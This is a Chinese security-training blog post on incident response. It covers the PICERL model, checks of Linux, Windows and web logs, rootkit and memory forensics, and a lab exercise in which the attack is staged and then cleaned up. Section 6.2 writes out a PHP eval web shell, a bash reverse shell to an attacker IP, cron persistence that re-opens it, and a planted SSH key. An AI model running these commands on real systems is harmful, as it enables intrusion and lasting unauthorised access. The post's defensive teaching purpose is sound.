应急响应实战
马哥教育网络安全课程实战博客 · 第十五篇 对应课程章节:第27章 应急响应 实验环境:4台 Ubuntu 24.04 服务器,攻击机 113.47.1.165
一、引言
当安全事件发生时,应急响应是减少损失的关键。应急响应不是简单的查杀病毒,而是一套系统化的方法论:从发现、遏制、根除到恢复和复盘,每个环节都有明确的目标和操作流程。本篇将讲解 PICERL 应急响应方法论,并结合 Linux、Windows、Web 应用三个维度进行实战演练。
二、应急响应方法论:PICERL
PICERL 是应急响应的六阶段模型,每个阶段环环相扣:
P (Preparation) → 准备阶段:建立应急响应能力
I (Identification) → 识别阶段:发现和确认安全事件
C (Containment) → 遏制阶段:阻止攻击扩散
E (Eradication) → 根除阶段:清除威胁根源
R (Recovery) → 恢复阶段:恢复业务正常运行
L (Lessons Learned) → 复盘阶段:总结改进
2.1 准备阶段(Preparation)
在事件发生前建立应急响应能力:
# 建立应急响应工具箱
mkdir -p /opt/ir-toolkit/{linux,windows,scripts}
# 准备静态编译的工具: busybox, lsof, netstat, ps, find
# 确保工具的完整性(计算 hash 并安全存储)
# 部署日志收集系统
# 配置远程日志服务器,防止攻击者清除本地日志
echo "*.* @@log-server.internal:514" >> /etc/rsyslog.conf
# 建立基线快照
# 定期记录系统关键文件 hash
find /etc /usr/bin /usr/sbin /bin /sbin -type f -exec sha256sum {} \; > /opt/baseline_hashes.txt
2.2 识别阶段(Identification)
识别安全事件的存在和范围:
# 异常告警来源
# - IDS/IPS 告警
# - SIEM 关联告警
# - 异常网络流量
# - 用户报告
# - 安全扫描发现
# 初步确认
# 检查告警真实性,排除误报
# 确定事件类型: 入侵、数据泄露、恶意软件、DoS
2.3 遏制阶段(Containment)
阻止攻击进一步扩散,分为短期遏制和长期遏制:
# 短期遏制(快速止血)
# - 断开可疑网络连接
# - 禁用 compromised 账户
# - 隔离受感染主机
# 长期遏制(彻底隔离)
# - 将受感染主机移至隔离 VLAN
# - 阻断攻击者 C2 服务器 IP
# - 重置所有可能泄露的凭据
2.4 根除阶段(Eradication)
彻底清除威胁:
# 清除恶意软件和后门
# 修复被利用的漏洞
# 清除攻击者植入的持久化机制
# 重置所有被泄露的密码和密钥
2.5 恢复阶段(Recovery)
恢复业务正常运行:
# 从干净备份恢复系统
# 验证系统完整性
# 逐步恢复网络连接
# 持续监控,确认无残留威胁
2.6 复盘阶段(Lessons Learned)
# 编写事件报告
# 分析攻击路径和根因
# 制定改进措施
# 更新应急响应流程
# 开展安全培训
三、Linux 应急响应
3.1 日志分析
3.1.1 认证日志
# 查看成功登录记录
grep "Accepted" /var/log/auth.log
# 查看失败登录记录(暴力破解检测)
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
# 查看异常登录时间和来源
last -20
lastb -20 # 失败登录
# 检查 SSH 异常登录
grep "Accepted" /var/log/auth.log | grep -v "192.168" # 非内网登录
grep "session opened for user root" /var/log/auth.log # root 登录
# 检查 sudo 使用记录
grep "sudo:" /var/log/auth.log
3.1.2 系统日志
# 查看系统异常事件
grep -i "error\|warning\|critical" /var/log/syslog | tail -50
# 检查服务异常启停
grep -i "started\|stopped\|failed" /var/log/syslog
# 检查内核日志
dmesg | grep -i "error\|warn\|segfault"
# 检查计划任务日志
grep CRON /var/log/syslog | tail -20
3.1.3 应用日志
# Nginx 访问日志分析
tail -100 /var/log/nginx/access.log
# 统计访问 IP
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 检测 SQL 注入特征
grep -i "union\|select\|insert\|drop" /var/log/nginx/access.log
# 检测目录遍历
grep "\.\./" /var/log/nginx/access.log
# MySQL 日志
grep -i "error\|warning" /var/log/mysql/error.log
3.2 进程分析
# 查看所有进程,关注异常进程
ps aux --sort=-%cpu | head -20
ps aux --sort=-%mem | head -20
# 查找隐藏进程
ps -ef | awk '{print $2}' | sort > /tmp/ps_pids
ls /proc | grep -E '^[0-9]+$' | sort > /tmp/proc_pids
diff /tmp/ps_pids /tmp/proc_pids # 差异即为隐藏进程
# 查看网络连接
ss -tunlp
netstat -tunlp
# 查看异常监听端口
ss -tlnp | grep -v "22\|80\|443\|8080" # 排除常见端口
# 查看进程打开的文件
lsof -i -P -n | grep ESTABLISHED # 活动网络连接
lsof -p <PID> # 特定进程打开的文件
# 检查反弹 shell 特征
# 反弹 shell 通常表现为 bash/sh 连接到外部 IP
lsof -i -P -n | grep -E "bash|sh|python|perl" | grep ESTABLISHED
3.3 文件完整性检查
# 检查关键目录的新增文件
find /etc -newer /tmp/marker_file -type f 2>/dev/null
find /usr/bin /usr/sbin /bin /sbin -newer /tmp/marker_file -type f 2>/dev/null
# 检查 SUID/SGID 文件
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
# 与基线 hash 对比
sha256sum /usr/bin/ssh /usr/bin/sudo /bin/su > /tmp/current_hashes.txt
diff /opt/baseline_hashes.txt /tmp/current_hashes.txt
# 检查最近修改的文件
find / -mtime -1 -type f 2>/dev/null | grep -v "/proc\|/sys\|/run\|/var/log"
# 检查隐藏文件和目录
find / -name ".*" -type f 2>/dev/null | grep -v "/home/.*\.\(bashrc\|bash_history\|profile\|ssh\)"
3.4 恶意软件检测与分析
# 检查异常计划任务
crontab -l 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
# 检查 systemd 异常服务
systemctl list-unit-files --state=enabled | grep -v "ssh\|network\|cron\|systemd"
# 检查启动脚本
cat /etc/rc.local 2>/dev/null
ls -la /etc/init.d/
# 检查异常环境变量
cat /etc/environment
cat /etc/ld.so.preload 2>/dev/null # LD_PRELOAD 持久化
# 分析可疑文件
file /tmp/.sysupdate # 检查文件类型
strings /tmp/.sysupdate | grep -i "http\|exec\|bash\|python" # 提取字符串
md5sum /tmp/.sysupdate # 计算 hash 用于威胁情报查询
3.5 Rootkit 检测
# 使用 rkhunter
apt install rkhunter
rkhunter --update
rkhunter --check --sk
# 使用 chkrootkit
apt install chkrootkit
chkrootkit
# 手动检测
# 检查内核模块
lsmod | grep -v "ext4\|xfs\|dm_\|sd_\|ahci\|libata"
# 对比已知模块列表,发现异常模块
# 检查 /proc/kallsyms 是否被篡改
cat /proc/kallsyms | head
# 检查系统调用表
# 如果内核模块 hook 了系统调用,lsmod 可能被隐藏
# 使用 cat /proc/modules 对比 lsmod
diff <(lsmod | awk '{print $1}' | sort) <(cat /proc/modules | awk '{print $1}' | sort)
四、Windows 应急响应(概念)
4.1 事件日志分析
# 查看安全日志中的登录事件
# Event ID 4624: 登录成功
# Event ID 4625: 登录失败
# Event ID 4688: 进程创建
# Event ID 4698: 计划任务创建
# 查询成功登录事件
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 50
# 查询登录失败事件(暴力破解检测)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 100 |
Select-Object TimeCreated, @{Name='User';Expression={$_.Properties[5].Value}}, @{Name='Source';Expression={$_.Properties[19].Value}}
# 查询进程创建事件
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} -MaxEvents 50 |
Select-Object TimeCreated, @{Name='Process';Expression={$_.Properties[5].Value}}
# 使用 wevtutil 导出日志
wevtutil epl Security C:\temp\security.evtx
4.2 内存取证
# 使用 Volatility 分析内存镜像
# 首先获取内存镜像(使用 LiME 或 WinPmem)
# Volatility 3 基本分析
python3 vol.py -f memory.dump windows.pslist # 进程列表
python3 vol.py -f memory.dump windows.psscan # 扫描隐藏进程
python3 vol.py -f memory.dump windows.netscan # 网络连接
python3 vol.py -f memory.dump windows.dlllist --pid <PID> # DLL 列表
python3 vol.py -f memory.dump windows.malfind # 检测注入代码
python3 vol.py -f memory.dump windows.hivelist # 注册表蜂巢
python3 vol.py -f memory.dump windows.cmdline # 命令行历史
4.3 注册表分析
# 检查自启动项
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
# 检查服务
reg query "HKLM\SYSTEM\CurrentControlSet\Services" | findstr -v "Routine\|Parameters"
# 检查计划任务
schtasks /query /fo LIST /v
# 检查 WMI 订阅
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
五、Web 应用应急响应
5.1 Web 日志分析
# Nginx/Apache 访问日志分析
# 统计请求量最大的 IP(可能为扫描器)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 检测 SQL 注入攻击
grep -iE "union.*select|or.*1=1|'.*--|information_schema" /var/log/nginx/access.log
# 检测 XSS 攻击
grep -iE "<script|javascript:|onerror=|onload=" /var/log/nginx/access.log
# 检测目录遍历
grep -E "\.\./|%2e%2e/" /var/log/nginx/access.log
# 检测文件包含
grep -iE "php://|file://|expect://|data://" /var/log/nginx/access.log
# 检测命令执行
grep -iE ";cat|;ls|;id|;whoami|\|cat|\|ls|&&" /var/log/nginx/access.log
# 检测 Web Shell 访问
grep -iE "eval|assert|system|exec|shell_exec|passthru" /var/log/nginx/access.log
# 分析异常 HTTP 状态码
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# 大量 500 错误可能表示攻击成功导致异常
5.2 攻击模式识别
# 识别扫描行为(短时间内大量请求)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | awk '$1 > 100 {print}'
# 识别爆破行为(大量 401/403 响应)
awk '$9 == 401 || $9 == 403 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# 识别 C2 通信(定期访问同一 URL)
awk '{print $1, $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 时间线分析
# 提取特定时间段日志
awk '$4 >= "[15/Jan/2024:10:00:00" && $4 <= "[15/Jan/2024:12:00:00"' /var/log/nginx/access.log
5.3 Web Shell 检测
# 文件特征检测
# 查找包含危险函数的 PHP 文件
find /var/www -name "*.php" -exec grep -l "eval\|assert\|system\|exec\|shell_exec\|passthru\|base64_decode" {} \;
# 查找最近修改的 Web 文件
find /var/www -name "*.php" -mtime -7 -type f
# 查找异常文件名(隐藏文件、伪装文件)
find /var/www -name ".*" -type f
find /var/www -name "*.php.jpg" -o -name "*.phtml" -o -name "*.pht"
# 使用查杀工具
# 使用河马 Web Shell 查杀工具
./hm scan /var/www/
# 检查 .htaccess 是否被篡改
find /var/www -name ".htaccess" -exec cat {} \;
# 关注 AddType、AddHandler 等危险指令
六、实战演练:模拟攻击与应急响应
6.1 场景描述
在实验环境中模拟一次完整的攻击与应急响应:
- 攻击机 113.47.1.165 对目标 192.168.1.10 发起攻击
- 植入 Web Shell 和反弹 Shell 后门
- 建立定时任务持久化
- 安全团队发现告警后进行应急响应
6.2 模拟攻击
# 攻击者操作
# 1. 通过漏洞上传 Web Shell
echo '<?php @eval($_POST["cmd"]); ?>' > /var/www/html/uploads/config.php
# 2. 通过 Web Shell 执行命令,获取反弹 Shell
nc -lvnp 4444 # 攻击机监听
# Web Shell 中执行: bash -c 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1'
# 3. 提权后建立持久化
echo "*/30 * * * * /bin/bash -c 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1'" | crontab -
# 4. 植入 SSH 公钥
echo "ssh-rsa AAAAB3...attacker_key..." >> /root/.ssh/authorized_keys
6.3 应急响应操作
阶段一:识别
# 安全团队收到告警:异常网络连接
# 登录目标主机 192.168.1.10 进行排查
# 检查网络连接,发现异常外连
ss -tunp | grep 113.47.1.165
# 发现: ESTAB 192.168.1.10:54321 -> 113.47.1.165:4444 users:(("bash",pid=12345,fd=3))
# 检查进程树
ps -ef | grep 12345
# 发现 bash 进程由 www-data 用户启动,连接到外部 IP
阶段二:遏制
# 立即断开异常连接
kill -9 12345
# 阻断攻击者 IP
iptables -I INPUT -s 113.47.1.165 -j DROP
# 禁用 www-data 用户的 cron
# 检查并清除 www-data 的 crontab
crontab -u www-data -r
# 临时关闭 Web 服务
systemctl stop nginx
阶段三:根除
# 1. 清除 Web Shell
find /var/www -name "*.php" -exec grep -l "eval\|assert\|system" {} \;
# 发现 /var/www/html/uploads/config.php
rm /var/www/html/uploads/config.php
# 2. 清除 SSH 后门
# 检查 authorized_keys
cat /root/.ssh/authorized_keys
# 删除攻击者公钥
# 编辑文件,移除异常条目
# 3. 清除定时任务
crontab -l # 检查 root crontab
crontab -r # 清除(确认后操作)
# 4. 检查其他持久化
# 检查 systemd 服务
systemctl list-unit-files --state=enabled
# 检查 /etc/rc.local, bashrc 等
grep -r "113.47.1.165" /etc /root /home 2>/dev/null
# 5. 检查 LD_PRELOAD
cat /etc/ld.so.preload 2>/dev/null # 应为空或不存在
grep "LD_PRELOAD" /etc/environment /etc/profile ~/.bashrc 2>/dev/null
阶段四:恢复
# 修复被利用的漏洞
# 例如修复文件上传漏洞:限制上传文件类型、禁用上传目录 PHP 执行
# 恢复 Web 服务
systemctl start nginx
# 重置所有可能泄露的密码
passwd root
passwd www-data
# 重置 SSH 密钥
rm /root/.ssh/authorized_keys # 重新添加合法公钥
# 验证系统完整性
rkhunter --check --sk
find /var/www -name "*.php" -exec grep -l "eval\|assert\|system" {} \; # 应无结果
阶段五:复盘
# 编写事件报告
# - 事件时间线
# - 攻击路径分析
# - 影响范围评估
# - 根因分析
# - 改进措施
# 改进措施示例:
# 1. 修复文件上传漏洞,限制上传类型和大小
# 2. 上传目录禁用 PHP 执行: location /uploads/ { location ~ \.php$ { deny all; } }
# 3. 部署 WAF 规则检测 Web Shell 通信
# 4. 配置文件完整性监控(AIDE/Tripwire)
# 5. 部署 HIDS(Wazuh/OSSEC)实时告警
# 6. 配置 SSH 仅允许密钥认证,限制 root 登录
七、工具篇
7.1 ELK Stack 日志分析
# ELK = Elasticsearch + Logstash + Kibana
# 用于集中收集、存储、分析和可视化日志
# Filebeat 配置(采集日志)
cat > /etc/filebeat/filebeat.yml << 'EOF'
filebeat.inputs:
- type: filestream
id: auth-log
paths:
- /var/log/auth.log
- type: filestream
id: nginx-access
paths:
- /var/log/nginx/access.log
output.elasticsearch:
hosts: ["elasticsearch.internal:9200"]
index: "security-logs-%{+yyyy.MM.dd}"
EOF
# Kibana 中创建检测规则
# - 检测暴力破解: 5分钟内同一 IP 登录失败超过 10 次
# - 检测异常登录: 非工作时间 root 登录
# - 检测 Web Shell: 访问日志中包含 eval/system 等关键词
# - 检测反弹 Shell: 网络日志中 bash 进程建立外连
7.2 Volatility 内存取证
# 安装 Volatility 3
pip3 install volatility3
# 获取内存镜像
# Linux: 使用 LiME 内核模块
insmod lime.ko "path=/tmp/memory.lime format=lime"
# 分析内存镜像
# 进程列表
python3 vol.py -f /tmp/memory.lime linux.pslist
# 网络连接
python3 vol.py -f /tmp/memory.lime linux.netstat
# 检测注入代码
python3 vol.py -f /tmp/memory.lime linux.malfind
# Bash 历史
python3 vol.py -f /tmp/memory.lime linux.bash
# 内核模块
python3 vol.py -f /tmp/memory.lime linux.lsmod
7.3 其他应急响应工具
| 工具 | 用途 | 平台 |
|---|---|---|
| AIDE | 文件完整性监控 | Linux |
| Tripwire | 文件完整性监控 | Linux |
| OSSEC/Wazuh | HIDS 主机入侵检测 | Linux/Windows |
| Sysmon | 系统活动监控 | Windows |
| Autopsy | 数字取证分析 | Linux/Windows |
| YARA | 恶意软件模式匹配 | Linux/Windows |
| LiME | Linux 内存取证 | Linux |
| WinPmem | Windows 内存取证 | Windows |
八、总结
应急响应是安全防御的最后一道防线。掌握 PICERL 方法论,熟悉 Linux、Windows、Web 三个维度的排查技术,能够在事件发生时快速定位、遏制和根除威胁。
应急响应核心原则:
- 保持冷静:按流程操作,不要慌乱
- 保护证据:先取证后清除,避免破坏证据链
- 快速遏制:优先阻止攻击扩散
- 彻底根除:不遗漏任何后门和持久化
- 完整记录:记录每一步操作,便于复盘
- 持续改进:每次事件后更新流程和工具
日常准备建议:
- 建立应急响应团队和流程
- 准备应急响应工具箱并定期更新
- 部署日志集中收集和告警系统
- 建立系统基线和文件完整性监控
- 定期开展应急响应演练
- 制定并测试备份恢复方案
至此,马哥教育网络安全课程实战博客系列暂告一段落。从信息收集、漏洞利用、权限提升到内网渗透、横向移动、应急响应,我们完整走过了渗透测试与安全防御的全流程。安全是一个持续对抗的过程,希望本系列博客能帮助大家建立系统化的安全思维和实战能力。
免责声明:本文所有技术内容仅用于安全教育和授权渗透测试。未经授权对他人系统进行渗透测试属于违法行为。